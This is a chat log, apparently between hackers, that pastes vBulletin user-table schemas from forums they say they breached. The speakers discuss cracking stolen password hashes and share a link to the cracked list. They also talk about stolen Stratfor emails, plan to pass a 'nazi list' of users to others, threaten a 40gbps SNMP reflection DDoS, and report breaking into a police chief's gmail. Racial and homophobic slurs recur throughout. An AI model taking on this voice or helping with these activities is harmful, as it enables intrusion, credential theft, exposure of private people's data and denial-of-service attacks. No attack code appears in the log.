`create_tourney` tinyint(1) NOT NULL DEFAULT '1',
`arcade_sess_gid` mediumint(8) NOT NULL DEFAULT '0',
`arcade_sess_start` int(11) NOT NULL DEFAULT '0',
`arcade_gtype` int(11) NOT NULL DEFAULT '0',
`arcade_session` mediumint(8) NOT NULL DEFAULT '0',
`profilevisits` int(10) unsigned NOT NULL DEFAULT '0',
`friendcount` int(10) unsigned NOT NULL DEFAULT '0',
`friendreqcount` int(10) unsigned NOT NULL DEFAULT '0',
`vmunreadcount` int(10) unsigned NOT NULL DEFAULT '0',
`vmmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`socgroupinvitecount` int(10) unsigned NOT NULL DEFAULT '0',
`socgroupreqcount` int(10) unsigned NOT NULL DEFAULT '0',
`pcunreadcount` int(10) unsigned NOT NULL DEFAULT '0',
`pcmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`gmmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`ncode_imageresizer_mode`
enum('none','enlarge','samewindow','newwindow','lytebox','lightview','slimbox','thickbox','floatb
ox','shadowbox','greybox','roebox','lightwindow','awesomebox','highslide') DEFAULT NULL,
`ncode_imageresizer_maxwidth` smallint(5) unsigned DEFAULT NULL,
`ncode_imageresizer_maxheight` smallint(5) unsigned DEFAULT NULL,
`autoresponder` smallint(5) NOT NULL DEFAULT '0',
`autorespondertext` text,
`autorespondertitle` text,
`autorespondersig` smallint(5) NOT NULL DEFAULT '0',
`autoresponderfromtime` int(10) NOT NULL DEFAULT '0',
`autorespondertotime` int(10) NOT NULL DEFAULT '0',
`autoresponderccactive` smallint(5) NOT NULL DEFAULT '0',
`autoresponderccuser` text,
PRIMARY KEY (`userid`),
KEY `usergroupid` (`usergroupid`),
KEY `username` (`username`),
KEY `birthday` (`birthday`,`showbirthday`),
KEY `birthday_search` (`birthday_search`),
KEY `posts` (`posts`),
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KEY `referrerid` (`referrerid`),
KEY `lastactivity` (`lastactivity`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=24157 ;
yohoho@jabber.ccc.de: that is for apb
yohoho@jabber.ccc.de: this is officerresource:
yohoho@jabber.ccc.de:
CREATE TABLE IF NOT EXISTS `user` (
`userid` int(10) unsigned NOT NULL AUTO_INCREMENT,
`usergroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`membergroupids` varchar(250) NOT NULL DEFAULT '',
`displaygroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`username` varchar(100) NOT NULL DEFAULT '',
`password` varchar(32) NOT NULL DEFAULT '',
`passworddate` date NOT NULL DEFAULT '0000-00-00',
`email` varchar(100) NOT NULL DEFAULT '',
`styleid` smallint(5) unsigned NOT NULL DEFAULT '0',
`parentemail` varchar(50) NOT NULL DEFAULT '',
`homepage` varchar(100) NOT NULL DEFAULT '',
`icq` varchar(20) NOT NULL DEFAULT '',
`aim` varchar(20) NOT NULL DEFAULT '',
`yahoo` varchar(32) NOT NULL DEFAULT '',
`showvbcode` smallint(5) unsigned NOT NULL DEFAULT '0',
`showbirthday` smallint(5) unsigned NOT NULL DEFAULT '2',
`usertitle` varchar(250) NOT NULL DEFAULT '',
`customtitle` smallint(6) NOT NULL DEFAULT '0',
`joindate` int(10) unsigned NOT NULL DEFAULT '0',
`daysprune` smallint(6) NOT NULL DEFAULT '0',
`lastvisit` int(10) unsigned NOT NULL DEFAULT '0',
`lastactivity` int(10) unsigned NOT NULL DEFAULT '0',
`lastpost` int(10) unsigned NOT NULL DEFAULT '0',
`posts` int(10) unsigned NOT NULL DEFAULT '0',
`reputation` int(11) NOT NULL DEFAULT '10',
`reputationlevelid` int(10) unsigned NOT NULL DEFAULT '1',
`timezoneoffset` varchar(4) NOT NULL DEFAULT '',
`pmpopup` smallint(6) NOT NULL DEFAULT '0',
`avatarid` smallint(6) NOT NULL DEFAULT '0',
`avatarrevision` int(10) unsigned NOT NULL DEFAULT '0',
`profilepicrevision` int(10) unsigned NOT NULL DEFAULT '0',
`options` int(10) unsigned NOT NULL DEFAULT '15',
`birthday` varchar(10) NOT NULL DEFAULT '',
`birthday_search` date NOT NULL DEFAULT '0000-00-00',
`maxposts` smallint(6) NOT NULL DEFAULT '-1',
`startofweek` smallint(6) NOT NULL DEFAULT '1',
`ipaddress` varchar(15) NOT NULL DEFAULT '',
`referrerid` int(10) unsigned NOT NULL DEFAULT '0',
(5:47:20 PM)
(5:48:34 PM)
(5:48:35 PM)
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`languageid` smallint(5) unsigned NOT NULL DEFAULT '0',
`msn` varchar(100) NOT NULL DEFAULT '',
`emailstamp` int(10) unsigned NOT NULL DEFAULT '0',
`threadedmode` smallint(5) unsigned NOT NULL DEFAULT '0',
`autosubscribe` smallint(6) NOT NULL DEFAULT '-1',
`pmtotal` smallint(5) unsigned NOT NULL DEFAULT '0',
`pmunread` smallint(5) unsigned NOT NULL DEFAULT '0',
`salt` char(3) NOT NULL DEFAULT '',
`skype` varchar(32) NOT NULL DEFAULT '',
`adminoptions` int(10) unsigned NOT NULL DEFAULT '0',
`lastpostid` int(10) unsigned NOT NULL DEFAULT '0',
`sigpicrevision` int(10) unsigned NOT NULL DEFAULT '0',
`ipoints` int(10) unsigned NOT NULL DEFAULT '0',
`infractions` int(10) unsigned NOT NULL DEFAULT '0',
`warnings` int(10) unsigned NOT NULL DEFAULT '0',
`infractiongroupids` varchar(255) NOT NULL DEFAULT '',
`infractiongroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`arcade_ban` tinyint(1) NOT NULL DEFAULT '0',
`times_played` int(11) NOT NULL DEFAULT '0',
`is_arcade_mod` tinyint(1) NOT NULL DEFAULT '0',
`fav_games` text NOT NULL,
`user_sort` varchar(15) NOT NULL DEFAULT '0',
`user_order` varchar(4) NOT NULL DEFAULT '0',
`user_g_pp` mediumint(8) NOT NULL DEFAULT '0',
`user_s_pp` mediumint(8) NOT NULL DEFAULT '0',
`def_g_cat` mediumint(8) NOT NULL DEFAULT '0',
`game_skin` tinyint(1) NOT NULL DEFAULT '0',
`arcade_mod_privs` text NOT NULL,
`arcade_pmactive` tinyint(1) NOT NULL DEFAULT '1',
`games_played` int(11) NOT NULL DEFAULT '0',
`time_played` int(11) NOT NULL DEFAULT '0',
`arcade_points` int(11) NOT NULL DEFAULT '500',
`arcade_spent` int(11) NOT NULL DEFAULT '0',
`arcade_won` int(11) NOT NULL DEFAULT '0',
`arcade_high` int(11) NOT NULL DEFAULT '0',
`create_tourney` tinyint(1) NOT NULL DEFAULT '1',
`arcade_sess_gid` mediumint(8) NOT NULL DEFAULT '0',
`arcade_sess_start` int(11) NOT NULL DEFAULT '0',
`arcade_gtype` int(11) NOT NULL DEFAULT '0',
`arcade_session` mediumint(8) NOT NULL DEFAULT '0',
`profilevisits` int(10) unsigned NOT NULL DEFAULT '0',
`friendcount` int(10) unsigned NOT NULL DEFAULT '0',
`friendreqcount` int(10) unsigned NOT NULL DEFAULT '0',
`vmunreadcount` int(10) unsigned NOT NULL DEFAULT '0',
`vmmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`socgroupinvitecount` int(10) unsigned NOT NULL DEFAULT '0',
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`socgroupreqcount` int(10) unsigned NOT NULL DEFAULT '0',
`pcunreadcount` int(10) unsigned NOT NULL DEFAULT '0',
`pcmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`gmmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`ncode_imageresizer_mode`
enum('none','enlarge','samewindow','newwindow','lytebox','lightview','slimbox','thickbox','floatb
ox','shadowbox','greybox','roebox','lightwindow','awesomebox','highslide') DEFAULT NULL,
`ncode_imageresizer_maxwidth` smallint(5) unsigned DEFAULT NULL,
`ncode_imageresizer_maxheight` smallint(5) unsigned DEFAULT NULL,
`autoresponder` smallint(5) NOT NULL DEFAULT '0',
`autorespondertext` text,
`autorespondertitle` text,
`autorespondersig` smallint(5) NOT NULL DEFAULT '0',
`autoresponderfromtime` int(10) NOT NULL DEFAULT '0',
`autorespondertotime` int(10) NOT NULL DEFAULT '0',
`autoresponderccactive` smallint(5) NOT NULL DEFAULT '0',
`autoresponderccuser` text,
PRIMARY KEY (`userid`),
KEY `usergroupid` (`usergroupid`),
KEY `username` (`username`),
KEY `birthday` (`birthday`,`showbirthday`),
KEY `birthday_search` (`birthday_search`),
KEY `posts` (`posts`),
KEY `referrerid` (`referrerid`),
KEY `lastactivity` (`lastactivity`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=24384 ;
(5:57:49 PM)
(5:57:50 PM)

yohoho@jabber.ccc.de: and finally this is a3p headers:
yohoho@jabber.ccc.de:

CREATE TABLE IF NOT EXISTS `user` (
`userid` int(10) unsigned NOT NULL AUTO_INCREMENT,
`usergroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`membergroupids` char(250) NOT NULL DEFAULT '',
`displaygroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`username` varchar(100) NOT NULL DEFAULT '',
`password` char(32) NOT NULL DEFAULT '',
`passworddate` date NOT NULL DEFAULT '0000-00-00',
`email` char(100) NOT NULL DEFAULT '',
`styleid` smallint(5) unsigned NOT NULL DEFAULT '0',
`parentemail` char(50) NOT NULL DEFAULT '',
`homepage` char(100) NOT NULL DEFAULT '',
`icq` char(20) NOT NULL DEFAULT '',
`aim` char(20) NOT NULL DEFAULT '',
`yahoo` char(32) NOT NULL DEFAULT '',
`msn` char(100) NOT NULL DEFAULT '',
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`skype` char(32) NOT NULL DEFAULT '',
`showvbcode` smallint(5) unsigned NOT NULL DEFAULT '0',
`showbirthday` smallint(5) unsigned NOT NULL DEFAULT '2',
`usertitle` char(250) NOT NULL DEFAULT '',
`customtitle` smallint(6) NOT NULL DEFAULT '0',
`joindate` int(10) unsigned NOT NULL DEFAULT '0',
`daysprune` smallint(6) NOT NULL DEFAULT '0',
`lastvisit` int(10) unsigned NOT NULL DEFAULT '0',
`lastactivity` int(10) unsigned NOT NULL DEFAULT '0',
`lastpost` int(10) unsigned NOT NULL DEFAULT '0',
`lastpostid` int(10) unsigned NOT NULL DEFAULT '0',
`posts` int(10) unsigned NOT NULL DEFAULT '0',
`reputation` int(11) NOT NULL DEFAULT '10',
`reputationlevelid` int(10) unsigned NOT NULL DEFAULT '1',
`timezoneoffset` char(4) NOT NULL DEFAULT '',
`pmpopup` smallint(6) NOT NULL DEFAULT '0',
`avatarid` smallint(6) NOT NULL DEFAULT '0',
`avatarrevision` int(10) unsigned NOT NULL DEFAULT '0',
`profilepicrevision` int(10) unsigned NOT NULL DEFAULT '0',
`sigpicrevision` int(10) unsigned NOT NULL DEFAULT '0',
`options` int(10) unsigned NOT NULL DEFAULT '33570831',
`birthday` char(10) NOT NULL DEFAULT '',
`birthday_search` date NOT NULL DEFAULT '0000-00-00',
`maxposts` smallint(6) NOT NULL DEFAULT '-1',
`startofweek` smallint(6) NOT NULL DEFAULT '1',
`ipaddress` char(15) NOT NULL DEFAULT '',
`referrerid` int(10) unsigned NOT NULL DEFAULT '0',
`languageid` smallint(5) unsigned NOT NULL DEFAULT '0',
`emailstamp` int(10) unsigned NOT NULL DEFAULT '0',
`threadedmode` smallint(5) unsigned NOT NULL DEFAULT '0',
`autosubscribe` smallint(6) NOT NULL DEFAULT '-1',
`pmtotal` smallint(5) unsigned NOT NULL DEFAULT '0',
`pmunread` smallint(5) unsigned NOT NULL DEFAULT '0',
`salt` char(30) NOT NULL DEFAULT '',
`ipoints` int(10) unsigned NOT NULL DEFAULT '0',
`infractions` int(10) unsigned NOT NULL DEFAULT '0',
`warnings` int(10) unsigned NOT NULL DEFAULT '0',
`infractiongroupids` varchar(255) NOT NULL DEFAULT '',
`infractiongroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`adminoptions` int(10) unsigned NOT NULL DEFAULT '0',
`profilevisits` int(10) unsigned NOT NULL DEFAULT '0',
`friendcount` int(10) unsigned NOT NULL DEFAULT '0',
`friendreqcount` int(10) unsigned NOT NULL DEFAULT '0',
`vmunreadcount` int(10) unsigned NOT NULL DEFAULT '0',
`vmmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`socgroupinvitecount` int(10) unsigned NOT NULL DEFAULT '0',
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`socgroupreqcount` int(10) unsigned NOT NULL DEFAULT '0',
`pcunreadcount` int(10) unsigned NOT NULL DEFAULT '0',
`pcmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`gmmoderatedcount` int(10) unsigned NOT NULL DEFAULT '0',
`xperience` bigint(20) DEFAULT '1',
`xperience_done` smallint(6) DEFAULT '0',
`xperience_level` smallint(6) DEFAULT '1',
`xperience_levelp` smallint(6) DEFAULT '1',
`xperience_next_level` bigint(20) DEFAULT '0',
`xperience_next_level_points` bigint(20) DEFAULT '1',
`xperience_ppd` float DEFAULT '0',
`xperience_awards` mediumtext,
`xperience_shopitems` mediumtext,
`xperience_lastupdate` int(10) DEFAULT '0',
`assetposthash` varchar(32) NOT NULL DEFAULT '',
`fbuserid` varchar(255) NOT NULL,
`fbjoindate` int(10) unsigned NOT NULL DEFAULT '0',
`fbname` varchar(255) NOT NULL,
`logintype` enum('vb','fb') NOT NULL DEFAULT 'vb',
`fbaccesstoken` varchar(255) NOT NULL,
`bloggroupreqcount` int(10) unsigned NOT NULL DEFAULT '0',
`showblogcss` int(11) NOT NULL DEFAULT '1',
`vbseo_likes_in` int(10) unsigned NOT NULL DEFAULT '0',
`vbseo_likes_out` int(10) unsigned NOT NULL DEFAULT '0',
`vbseo_likes_unread` int(10) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`userid`),
KEY `usergroupid` (`usergroupid`),
KEY `username` (`username`),
KEY `birthday` (`birthday`,`showbirthday`),
KEY `birthday_search` (`birthday_search`),
KEY `referrerid` (`referrerid`),
KEY `posts` (`posts`),
KEY `fbuserid` (`fbuserid`),
KEY `email` (`email`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3435 ;
(9:41:12 PM)
(9:41:18 PM)
(9:42:43 PM)
(9:42:52 PM)
(9:42:56 PM)
(9:42:58 PM)
(9:44:31 PM)
(9:44:37 PM)
(9:44:41 PM)
(9:44:43 PM)

yohoho@jabber.ccc.de: yo
yohoho@jabber.ccc.de: you got them table headers?
leondavidson@jabber.org/jabber.org: ja
yohoho@jabber.ccc.de: k
yohoho@jabber.ccc.de: sup with CNN?
yohoho@jabber.ccc.de: they get owned?
leondavidson@jabber.org/jabber.org: doubt it
yohoho@jabber.ccc.de: http://img638.imageshack.us/img638/146/cnnw.png
yohoho@jabber.ccc.de: fake?
yohoho@jabber.ccc.de: old?
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leondavidson@jabber.org/jabber.org: cant call it yet. trick does some mpressive
hacks but his whole crew got raided
(9:45:33 PM) leondavidson@jabber.org/jabber.org: so im skeptical atm
(9:45:43 PM) yohoho@jabber.ccc.de: who knows
(9:45:46 PM) yohoho@jabber.ccc.de: what else is good
(9:46:07 PM) leondavidson@jabber.org/jabber.org: nada bro. waiting on wifey to get home for
some seckz
(9:46:11 PM) leondavidson@jabber.org/jabber.org: bored and tired
(9:46:14 PM) leondavidson@jabber.org/jabber.org: you?
(9:46:23 PM) yohoho@jabber.ccc.de: just hopped on
(9:46:27 PM) yohoho@jabber.ccc.de: reading through some spools
(9:46:40 PM) yohoho@jabber.ccc.de: when you get those hashes cracked maybe put them pn
your vpn box and i'll pick them up whenever
(9:47:07 PM) leondavidson@jabber.org/jabber.org: yup
(9:47:11 PM) leondavidson@jabber.org/jabber.org: i got you
(3:48:46 PM) yohoho@jabber.ccc.de: whats up
(3:50:00 PM) leondavidson@jabber.org/a68439f93c327cf2: cillin. starving
(3:50:17 PM) yohoho@jabber.ccc.de: get some grub
(3:50:23 PM) yohoho@jabber.ccc.de: i'm just organizing shit on my end cleaning my system up
(4:45:41 PM) leondavidson@jabber.org/a68439f93c327cf2: word
(5:34:57 PM) yohoho@jabber.ccc.de: yoyo
(5:34:57 PM) yohoho@jabber.ccc.de: you there?
(5:35:03 PM) leondavidson@jabber.org/a68439f93c327cf2: yup
(5:35:05 PM) leondavidson@jabber.org/a68439f93c327cf2: whats poppin
(5:35:07 PM) yohoho@jabber.ccc.de: ok so
(5:35:09 PM) yohoho@jabber.ccc.de: have you talked to JA yet?
(5:35:12 PM) leondavidson@jabber.org/a68439f93c327cf2: no
(5:35:17 PM) yohoho@jabber.ccc.de: ok well
(5:35:17 PM) leondavidson@jabber.org/a68439f93c327cf2: whats the dealie?
(5:35:21 PM) yohoho@jabber.ccc.de: talking to him now
(5:35:30 PM) yohoho@jabber.ccc.de: he gave me access to a search engine script for these
stratfor emails
(5:35:51 PM) leondavidson@jabber.org/a68439f93c327cf2: open up a jabber chat and invite us
both. or is that it?
(5:35:56 PM) leondavidson@jabber.org/a68439f93c327cf2: hows the search engine look ?
(5:36:25 PM) yohoho@jabber.ccc.de: it's pretty primitive but it works
(5:36:31 PM) yohoho@jabber.ccc.de: attachments are listed but not downloadable currently
(5:38:06 PM) yohoho@jabber.ccc.de: he said if anyone else on our team wants access to tell them
to contact him directly
(5:38:09 PM) yohoho@jabber.ccc.de: so maybe you want to hit him up
(5:38:52 PM) leondavidson@jabber.org/a68439f93c327cf2: my man
(5:39:00 PM) leondavidson@jabber.org/a68439f93c327cf2: I email this nigga. I email Q
(5:39:03 PM) leondavidson@jabber.org/a68439f93c327cf2: they're not responding to me
(5:39:08 PM) leondavidson@jabber.org/a68439f93c327cf2: I don't know what he wants me to do
(5:39:11 PM) leondavidson@jabber.org/a68439f93c327cf2: call him on his private cell
(5:39:18 PM) yohoho@jabber.ccc.de: i'll tell JA to msg you on jabber
(9:45:27 PM)
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leondavidson@jabber.org/a68439f93c327cf2: he's gay
leondavidson@jabber.org/a68439f93c327cf2: I'm about to shit on wikileks
leondavidson@jabber.org/a68439f93c327cf2: haha
yohoho@jabber.ccc.de: lol hah
yohoho@jabber.ccc.de: well
yohoho@jabber.ccc.de: if they come through in the end for us with this shit
yohoho@jabber.ccc.de: we win
yohoho@jabber.ccc.de: ultimate win
leondavidson@jabber.org/a68439f93c327cf2: it true
leondavidson@jabber.org/a68439f93c327cf2: if hes not going to hit me up to at
least give me access to search engine. obviously shit I find I can put to use
(5:41:40 PM) yohoho@jabber.ccc.de: all doubts about our ability to get the emails and deliver
will be laid to rest
(5:41:43 PM) yohoho@jabber.ccc.de: I just told him to hit you up
(5:41:46 PM) yohoho@jabber.ccc.de: but he appears to be idle
(5:41:51 PM) yohoho@jabber.ccc.de: i'll just give it to you though
(5:41:55 PM) yohoho@jabber.ccc.de: he said though give to nobody
(5:42:03 PM) yohoho@jabber.ccc.de: except that if someone wants to check it out, talk to him
first
(5:42:06 PM) yohoho@jabber.ccc.de: which is why I said hit sabu up
(5:42:32 PM) leondavidson@jabber.org/a68439f93c327cf2: just wait for him to hit me up. these
wikileaks are bitches about these things
(5:42:38 PM) leondavidson@jabber.org/a68439f93c327cf2: they asked me to hack icelandic
government
(5:42:40 PM) leondavidson@jabber.org/a68439f93c327cf2: I did it
(5:42:52 PM) leondavidson@jabber.org/a68439f93c327cf2: and they stopped talking to me
(5:42:54 PM) leondavidson@jabber.org/a68439f93c327cf2: I felt like a whore
(5:43:00 PM) yohoho@jabber.ccc.de: hrm.
(5:43:08 PM) yohoho@jabber.ccc.de: you should just talk to JA directly then
(5:43:12 PM) yohoho@jabber.ccc.de: I kind of feel similarly
(5:43:18 PM) yohoho@jabber.ccc.de: I've had shit published by wikileaks years ago
(5:43:26 PM) yohoho@jabber.ccc.de: then suddenly they stopped accepting submissions even
from me
(5:43:31 PM) leondavidson@jabber.org/a68439f93c327cf2: yeah. its not cool
(5:43:38 PM) leondavidson@jabber.org/a68439f93c327cf2: things will change with stratfor hack
(5:43:41 PM) leondavidson@jabber.org/a68439f93c327cf2: if they continue my nigga
(5:43:48 PM) yohoho@jabber.ccc.de: ok he will msg you in a sec
(5:43:50 PM) leondavidson@jabber.org/a68439f93c327cf2: its going to be beef
(5:43:52 PM) leondavidson@jabber.org/a68439f93c327cf2: kk
(5:56:28 PM) yohoho@jabber.ccc.de: ja's trying to hit you up
(5:56:29 PM) yohoho@jabber.ccc.de: add
(5:56:48 PM) leondavidson@jabber.org/a68439f93c327cf2: bullshit
(5:56:51 PM) leondavidson@jabber.org/a68439f93c327cf2: no ones trying to add me
(5:56:57 PM) leondavidson@jabber.org/a68439f93c327cf2: LeonDavidson@jabber.org
(5:57:00 PM) leondavidson@jabber.org/a68439f93c327cf2: I got no requests
(5:57:37 PM) yohoho@jabber.ccc.de: sorry I gave him jabber.ccc.de
(5:39:25 PM)
(5:39:30 PM)
(5:39:31 PM)
(5:39:42 PM)
(5:39:43 PM)
(5:39:47 PM)
(5:39:48 PM)
(5:39:51 PM)
(5:41:16 PM)
(5:41:35 PM)
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(5:57:42 PM)
(5:57:43 PM)
(5:57:44 PM)
(5:57:58 PM)
(5:58:07 PM)
(5:58:09 PM)
(5:58:09 PM)
(6:09:39 PM)
(6:09:49 PM)
(6:09:51 PM)
(6:11:05 PM)
(6:11:29 PM)

leondavidson@jabber.org/a68439f93c327cf2: you fucking
leondavidson@jabber.org/a68439f93c327cf2: black person
leondavidson@jabber.org/a68439f93c327cf2: lol
yohoho@jabber.ccc.de: that's probably why he never hit you up originally hah fuck
leondavidson@jabber.org/a68439f93c327cf2: ROFL
leondavidson@jabber.org/a68439f93c327cf2: ROFL
leondavidson@jabber.org/a68439f93c327cf2: ROFL
yohoho@jabber.ccc.de: yall talkin?
leondavidson@jabber.org/a68439f93c327cf2: bro
leondavidson@jabber.org/a68439f93c327cf2: no ones added me
yohoho@jabber.ccc.de: hrm odd.
leondavidson@jabber.org/a68439f93c327cf2: tell him if he doesn't add me in 5

minutes
(6:11:38 PM)

leondavidson@jabber.org/a68439f93c327cf2: I'm hitting him with 40gbps of

DrDoS
leondavidson@jabber.org/a68439f93c327cf2: 50,000 SNMP servers responding to
spoofed requests
(6:12:04 PM) leondavidson@jabber.org/a68439f93c327cf2: hahahah
(6:12:37 PM) yohoho@jabber.ccc.de: hrm
(6:12:43 PM) yohoho@jabber.ccc.de: Im really just waiting for h to get back on
(6:12:48 PM) yohoho@jabber.ccc.de: got a bigass list of juicy ass targets
(6:12:57 PM) yohoho@jabber.ccc.de: if we get plesk source code for agent.php we win
(6:14:13 PM) leondavidson@jabber.org/a68439f93c327cf2: dpaberlin?
(6:14:25 PM) yohoho@jabber.ccc.de: hmm?
(6:14:37 PM) leondavidson@jabber.org/a68439f93c327cf2: dpaberlin@jabber.ccc.de just added
me
(6:14:50 PM) yohoho@jabber.ccc.de: maybe he made a separate one for this purpose
(6:14:57 PM) yohoho@jabber.ccc.de: cause that's not what he is contacting me through
(6:15:04 PM) leondavidson@jabber.org/a68439f93c327cf2: rofl
(6:15:08 PM) leondavidson@jabber.org/a68439f93c327cf2: paranoid mother fucker
(6:15:14 PM) yohoho@jabber.ccc.de: he really is
(6:15:19 PM) yohoho@jabber.ccc.de: more than i've seen before
(6:15:47 PM) yohoho@jabber.ccc.de: any luck with them hashes btw?
(6:16:05 PM) leondavidson@jabber.org/a68439f93c327cf2: waiting on respons from my boy
(6:16:08 PM) leondavidson@jabber.org/a68439f93c327cf2: hes online but idle
(6:16:34 PM) leondavidson@jabber.org/a68439f93c327cf2: (6:15:59 PM) Unverified
(6:11:52 PM)

conversation with dpaberlin@jabber.ccc.de/9522844131326662947876111
started.
(6:16:38 PM)
(6:17:58 PM)
(6:18:02 PM)
(6:18:06 PM)
(6:18:08 PM)
(6:18:23 PM)
(6:18:32 PM)
(6:18:49 PM)

leondavidson@jabber.org/a68439f93c327cf2: is this the nigga fingerprint ?
yohoho@jabber.ccc.de: you didn't paste his actual fingerprint
yohoho@jabber.ccc.de: but he did just ask about yours
yohoho@jabber.ccc.de: and it matched obviously
leondavidson@jabber.org/a68439f93c327cf2: kk
yohoho@jabber.ccc.de: so we're talking to the same person then
leondavidson@jabber.org/a68439f93c327cf2: kk
leondavidson@jabber.org/a68439f93c327cf2: we dont know this is JA then. it
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might just be his bitch Q
(6:18:51 PM) leondavidson@jabber.org/a68439f93c327cf2: but fuck it
(6:18:56 PM) leondavidson@jabber.org/a68439f93c327cf2: so lon as they're doing the search
engine
(6:19:01 PM) leondavidson@jabber.org/a68439f93c327cf2: thats good enough for me
(6:19:09 PM) yohoho@jabber.ccc.de: well he has always said he was JA
(6:19:19 PM) yohoho@jabber.ccc.de: talks like him too
(6:19:21 PM) yohoho@jabber.ccc.de: but you can just never be too sure
(6:19:30 PM) yohoho@jabber.ccc.de: we will see if they will ultimately deliver the mails as
wikileaks
(6:19:39 PM) yohoho@jabber.ccc.de: if so than we can guarantee a long and fruitful relationshi
(6:40:23 PM) leondavidson@jabber.org/a68439f93c327cf2: yo yo
(6:40:29 PM) yohoho@jabber.ccc.de: hey
(6:41:41 PM) yohoho@jabber.ccc.de: hey I'm about to disconnect for about 5 minutes
(6:42:51 PM) leondavidson@jabber.org/a68439f93c327cf2: kk
(6:42:53 PM) leondavidson@jabber.org/a68439f93c327cf2: ill be around
(6:43:01 PM) yohoho@jabber.ccc.de: k
(6:43:30 PM) leondavidson@jabber.org/a68439f93c327cf2: question
(6:43:36 PM) yohoho@jabber.ccc.de: yes
(6:43:38 PM) leondavidson@jabber.org/a68439f93c327cf2: how did you find yourself talking to
this "JA"?
(6:43:39 PM) leondavidson@jabber.org/a68439f93c327cf2: via dm?
(6:43:45 PM) leondavidson@jabber.org/a68439f93c327cf2: then he contacted you via jabber?
(6:43:49 PM) yohoho@jabber.ccc.de: it started by going on irc
(6:43:51 PM) yohoho@jabber.ccc.de: on wikileaks irc
(6:43:56 PM) yohoho@jabber.ccc.de: asking for a re
(6:43:57 PM) leondavidson@jabber.org/a68439f93c327cf2: ok ..
(6:43:59 PM) yohoho@jabber.ccc.de: talked to a 'store' who said he was a rep
(6:44:09 PM) yohoho@jabber.ccc.de: said that everything's gotta go through JA pretty much
(6:44:18 PM) leondavidson@jabber.org/a68439f93c327cf2: how has this nigga confirmed to you
that this is ja/wikileas people?
(6:44:21 PM) yohoho@jabber.ccc.de: then arranged a convo with him via jabber
(6:44:26 PM) leondavidson@jabber.org/a68439f93c327cf2: has he dmd you or anything via
tiittter?
(6:44:33 PM) yohoho@jabber.ccc.de: I asked JA to confirm a few ways
(6:44:43 PM) leondavidson@jabber.org/a68439f93c327cf2: how? sorry to as I just need to know
he is real
(6:44:46 PM) yohoho@jabber.ccc.de: first he said that he was about to tweet something about
bradley manning in 2 minutes, which happened
(6:44:51 PM) yohoho@jabber.ccc.de: then we asked him to DM @anonymousirc
(6:45:03 PM) yohoho@jabber.ccc.de: he sent a hash which he then sent back to me via jabber
(6:45:14 PM) yohoho@jabber.ccc.de: then he also said on @wikileaks an acronym of 'stratfor on
avon'
(6:45:22 PM) yohoho@jabber.ccc.de: which was like rats something something
(6:45:41 PM) yohoho@jabber.ccc.de: so whether this is JA or not is no way to tell, but, he does
have control over @wikileaks twitter at the least
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(6:46:06 PM)
(6:46:08 PM)

leondavidson@jabber.org/a68439f93c327cf2: got you
yohoho@jabber.ccc.de: I think that's about the best we can do, really, minus video

chat
yohoho@jabber.ccc.de: ok disconnect bbl
leondavidson@jabber.org/a68439f93c327cf2: kk
yohoho@jabber.ccc.de: hmm
yohoho@jabber.ccc.de: there's a decent amount of discussion about anonymous in
these emails
(8:00:06 PM) leondavidson@jabber.org/a68439f93c327cf2:
http://www.megaupload.com/?d=59XJ2XXN pw h0h0
(8:00:19 PM) yohoho@jabber.ccc.de: what's that?
(8:00:56 PM) leondavidson@jabber.org/a68439f93c327cf2: the list of cracked hashes so far
(8:01:04 PM) yohoho@jabber.ccc.de: oh nice
(8:01:21 PM) leondavidson@jabber.org/a68439f93c327cf2: several .gov's crackd. all these all
from kkk sites? lol
(8:01:41 PM) yohoho@jabber.ccc.de: no not all
(8:01:45 PM) yohoho@jabber.ccc.de: those were also the cop forums
(8:02:10 PM) leondavidson@jabber.org/a68439f93c327cf2: kk
(8:32:20 PM) yohoho@jabber.ccc.de: hey when oyu get the chance
(8:32:30 PM) yohoho@jabber.ccc.de: ask your friends whether this is broken up by site
(8:32:33 PM) yohoho@jabber.ccc.de: or whether all results are mixed up
(8:38:28 PM) leondavidson@jabber.org/262ae68c876cb51a: (8:37:46 PM)
(6:46:25 PM)
(6:47:21 PM)
(7:16:43 PM)
(7:16:50 PM)

leondavidson@jabber.org/262ae68c876cb51a: you think the shit being all broken /
fucked up was the fact we mixed 3 diff dbs in or the sites themselves ?
(8:38:04 PM) thisusernamesucks@jabber.org: the sites themselves
(8:38:14 PM) thisusernamesucks@jabber.org: maybe the db had been fucked with
(8:39:43 PM)

leondavidson@jabber.org/262ae68c876cb51a: (8:38:57 PM)

thisusernamesucks@jabber.org: those ones with salts that were 32+ are most likey
just garbage
yohoho@jabber.ccc.de: ok
yohoho@jabber.ccc.de: well
yohoho@jabber.ccc.de: I'm more interested in separating the lists into separate files
leondavidson@jabber.org/262ae68c876cb51a: ok
yohoho@jabber.ccc.de: knowing which users were from which site
yohoho@jabber.ccc.de: etc
yohoho@jabber.ccc.de: cause I'm assing off the nazi list to some ppl
yohoho@jabber.ccc.de: but they dont need officer shit
leondavidson@jabber.org/262ae68c876cb51a: yup
leondavidson@jabber.org/262ae68c876cb51a: spoke to JA for a while. nigga blew
my mind about Q
(8:59:41 PM) yohoho@jabber.ccc.de: how so?
(9:10:37 PM) yohoho@jabber.ccc.de: within the second email I tried I got into a police chief and
police contact gmail
(9:10:38 PM) yohoho@jabber.ccc.de: dumping now
(9:56:39 PM) yohoho@jabber.ccc.de: hrm
(5:31:33 AM) yohoho@jabber.ccc.de: what up homey
(8:47:26 PM)
(8:47:27 PM)
